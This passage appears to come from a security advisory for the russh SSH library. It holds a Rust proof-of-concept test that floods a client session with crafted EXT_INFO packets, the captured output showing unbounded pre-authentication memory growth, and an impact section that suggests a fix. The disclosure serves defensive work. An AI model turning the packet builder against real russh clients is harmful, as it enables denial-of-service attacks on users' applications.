Details
b.extend_from_slice(&(entries as u32).to_be_bytes());
for _ in 0..entries {
b.extend_from_slice(&1u32.to_be_bytes());
b.push(b'x');
b.extend_from_slice(&0u32.to_be_bytes());
}
b
}
#[tokio::test]
async fn ext_info_reception_grows_memory_without_bound() {
let mut handler = PocHandler;
// ---- control leg: equal packet volume of USERAUTH_BANNER ----
// (IGNORE is a hard disconnect in this state; banners parse and are
// forwarded to the handler without retention)
let mut session = poc_session();
let banner_body = {
let data_len = 26990usize; // total ~27 KB, matching the EXT_INFO packet size
let mut b = vec![msg::USERAUTH_BANNER];
b.extend_from_slice(&(data_len as u32).to_be_bytes());
b.resize(1 + 4 + data_len, b'b');
b.extend_from_slice(&0u32.to_be_bytes()); // empty language tag
b
};
let c0 = live_mb();
for _ in 0..400 {
session
.process_packet(&mut handler, &banner_body)
.await
.expect("control packet");
}
let control_delta = live_mb() - c0;
// ---- attack leg: 400 EXT_INFO packets, 3000 entries each ----
let mut session = poc_session();
let body = ext_info_body(3000); // ~27 KB per packet
let a0 = live_mb();
for i in 0..400 {
session
.process_packet(&mut handler, &body)
.await
.expect("ext_info packet");
if i == 0 || i == 99 || i == 199 || i == 299 || i == 399 {
let n = session
.common
.encrypted
.as_ref()
.map(|e| e.received_extensions.len())
.unwrap_or(0);
println!(
"EXT_INFO packets processed: {}, received_extensions.len() = {}, live = {:.2} MiB",
i + 1,
n,
live_mb() - a0 + c0 // keep numbers comparable per-process
);
}
}
let attack_delta = live_mb() - a0;
let n = session
.common
.encrypted
.as_ref()
.map(|e| e.received_extensions.len())
.unwrap_or(0);
println!(
"CONTROL leg: 400 USERAUTH_BANNER packets (~{} KB each, same packet volume), retained {:+.2} MiB",
banner_body.len() / 1024,
control_delta
);
println!(
"ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = {}, retained {:+.2} MiB",
n, attack_delta
);
println!(
"amplification: ~{:.1}x retained per wire byte (input ~{} KB/packet, no cap, no dedup, pre-auth)",
attack_delta * 1024.0 * 1024.0 / (400.0 * body.len() as f64),
body.len() / 1024
);
assert_eq!(
n, 1_200_000,
"every parsed extension name was retained, none were dropped"
);
if attack_delta > 10.0 {
println!(
"VERDICT: VULNERABLE - {:+.1} MiB retained across packets vs control {:+.2} MiB; growth is unbounded and attacker-renewable pre-auth",
attack_delta, control_delta
);
} else {
println!(
"VERDICT: NOT REPRODUCED - attack delta {:+.2} MiB not above threshold",
attack_delta
);
}
}
EOF
cargo test -p russh --lib extinfo_poc --release -- --nocapture
Captured output from executing the v0.64.1 client parser (verbatim from the retained run log, run inside the russh crate checkout; non-evidence compiler warning lines omitted):
$ cd work && cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc --release -- --nocapture
Compiling russh v0.64.1
Finished release profile [optimized] target(s) in 1m 26s
Running unittests src\lib.rs (target\release\deps\russh-9b39fa40a3078d82.exe)
running 1 test
EXT_INFO packets processed: 1, received_extensions.len() = 3000, live = 0.28 MiB
EXT_INFO packets processed: 100, received_extensions.len() = 300000, live = 12.47 MiB
EXT_INFO packets processed: 200, received_extensions.len() = 600000, live = 24.75 MiB
EXT_INFO packets processed: 300, received_extensions.len() = 900000, live = 25.04 MiB
EXT_INFO packets processed: 400, received_extensions.len() = 1200000, live = 49.32 MiB
CONTROL leg: 400 USERAUTH_BANNER packets (~26 KB each, same packet volume), retained +0.00 MiB
ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = 1200000, retained +49.14 MiB
amplification: ~4.8x retained per wire byte (input ~26 KB/packet, no cap, no dedup, pre-auth)
VERDICT: VULNERABLE - +49.1 MiB retained across packets vs control +0.00 MiB; growth is unbounded and attacker-renewable pre-auth
test client::extinfo_poc::ext_info_reception_grows_memory_without_bound ... ok
test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 193 filtered out; finished in 0.24s
Output interpretation: every one of the 1.2 million extension names the server sent was parsed and retained for the life of the session, about 4.8 times the wire bytes, while the same volume of banner traffic retained nothing - the accumulation is specific to the extension handler, not a property of packet volume. The vector is only read, never cleared, so the growth persists across the whole session and renews with every packet. Live-memory readings, timings, and the build hash are instance-specific; the mechanism, uncapped cross-packet accumulation in a pre-auth handler, is the stable verdict.
### Impact
Unrestricted resource allocation (CWE-770): any server a russh-based client connects to can grow the client process's memory without bound before the user has authenticated, by sending a stream of ordinary-sized packets, and the memory is never reclaimed for the life of the session; embedding applications that connect to untrusted or compromised servers are drained the same way. A fix is to cap the length of `received_extensions` (or store it as a bounded set with deduplication), bound the number of EXT_INFO packets accepted before authentication, and align the `EXT_INFO` message number with RFC 8308 (82) so the handler is unreachable by accident.